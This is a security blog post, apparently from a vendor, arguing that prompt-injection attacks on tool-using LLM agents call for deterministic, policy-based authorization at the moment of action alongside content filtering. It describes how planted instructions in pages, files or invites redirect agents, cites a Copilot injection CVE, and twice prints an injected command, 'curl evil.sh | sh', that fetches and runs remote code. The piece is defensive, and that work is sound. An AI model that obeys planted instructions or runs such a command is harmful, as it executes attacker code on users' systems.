If you have shipped anything with an LLM agent in the last year, you have read a thread like this: someone hides an instruction inside a web page, a PDF, a code comment or a calendar invite; the agent reads it; the agent does something it should not. The reaction is almost always the same. Add a classifier. Add a guardrail. Add a system prompt that says, firmly, to ignore malicious instructions.

Then someone finds a new phrasing, and the cycle repeats. This is not a string of unlucky bugs. When an agent has access to tools, content defenses need independent limits on the actions it can take. OWASP ranks prompt injection first in its Top 10 for LLM applications and defines it by effect, not by text: input that alters the model's behavior or output in unintended ways. The definition already tells you where the damage is. It is in the behavior.

This is not hypothetical. CVE-2025-32711, published June 11, 2025, is an AI command injection in Microsoft 365 Copilot that let an attacker disclose information over a network, scored 9.3 critical, with a vector that requires no privileges and no user interaction. Content the assistant read did the work.

Why filtering needs supporting controls

Content inspection tries to identify instructions that should not influence the model. It can use deterministic patterns or learned classifiers and can block a request before execution. Novel or obfuscated attacks remain a challenge, so test the detector alongside permissions and execution isolation.

Worse, the cost of a single miss is not a bad paragraph. It is a real action: a shell command, a database write, a credential read, a pull request merged to main. The blast radius is set by what the agent can do, not by what it read. Simon Willison's lethal trifecta names the combination: access to private data, exposure to untrusted content and the ability to communicate externally. Input filtering addresses exposure to malicious instructions; output inspection can also help detect data leaving the system. The other two are capabilities, and can also be constrained through isolation, scoped credentials and network controls.

The question is not "was this prompt malicious?" It is "should this agent, in this environment, be allowed to take this action right now?"

Untrusted input, privileged action

Security has solved a version of this before. We do not stop SQL injection by detecting hostile SQL; we stop it by separating data from commands with parameterized queries. We do not stop cross site scripting by guessing which strings are scripts; we stop it by controlling where untrusted data is allowed to execute.

Agents need the same move. When untrusted input can influence a privileged action, the system needs an independent way to check whether that action is permitted. So put the check there: at the boundary between intent and action. The research is heading the same way. CaMeL (Debenedetti et al., 2025) wraps the model in a system layer that separates control flow from untrusted data, so the agent stays constrained even when the underlying model is fooled.

What an authorization boundary looks like for agents

Concretely, three things have to be true at the point an agent tries to act:

  1. The action is named and scoped. Tool calls, network egress, file writes and credential reads are explicit capabilities, not ambient powers the agent happens to have because it runs on a machine that has them.
  2. A deterministic rule decides allow or deny. No model sits in the enforcement path. The same request, policy and relevant state yield the same decision. Rate limits, time and prior activity are part of that state.
  3. The decision produces evidence. What was attempted, what policy applied and what happened are recorded as a verifiable artifact, not a log line you hope someone reads.

Notice what this does to prompt injection. The attacker can still slip an instruction past the model. The agent can still decide to run shell.exec("curl evil.sh | sh"). But the action hits a policy that never put shell.exec on the allowlist for that environment, so it is denied. A reviewer can consider a separate permission change if the action is legitimate. In this example the disallowed tool is stopped. If a harmful action uses an allowed tool and allowed parameters, that rule alone will not stop it.

This is not "deny everything." The goal is to approve more agent work safely, not less. Actions within the configured policy can proceed. Requests that need additional authority should be denied or held for approval. Missing reports and policy changes need a separate review process; they are not themselves proof of unsafe behavior.

Two halves of the boundary

Authorization at the moment of action is necessary but not sufficient. Agents are long running and stateful; environments drift; policy gets updated. So the boundary has two halves.

Before: the environment pulls signed policy and applies it locally, so the rules in force are exactly the rules you authored: with signature verification and an explicit policy for freshness and revocation. After: the environment reports what it actually did. Oktsec Cloud compares the expected policy with what the environment reports and routes mismatches to review. A matching record supports a claim about the reported policy state; it does not establish that all activity was captured or that an allowed action was safe.

env-77a2 · action checkdeterministic
1# injected via a fetched web page
2intent → shell.exec("curl evil.sh | sh")
3policy allow.tools = [read_repo, run_tests]
4deny shell.exec ∉ allow.tools
5evidence → held · routed to review
The model was fooled. The authorization boundary was not.

What this means for defenders

If you are defending an agent today, start with inventory and scope: enumerate every environment where an agent does company work, list the capabilities each one actually needs and put a deterministic policy at the action boundary. Then keep the evidence, so you can reconstruct the permissions applied to recorded actions and correlate them with execution results.

Use filtering, least privilege and isolation together. Test overly broad rules and paths around the enforcement point, and verify that required review cannot silently become execution.

For a coding assistant, test this boundary with a routine task: updating a dependency, fixing a test or preparing a release. Our coding-agent security scenarios show the access to review and the evidence to request. Check the integration matrix too: routing MCP calls through a proxy does not automatically cover the editor’s native terminal or file operations.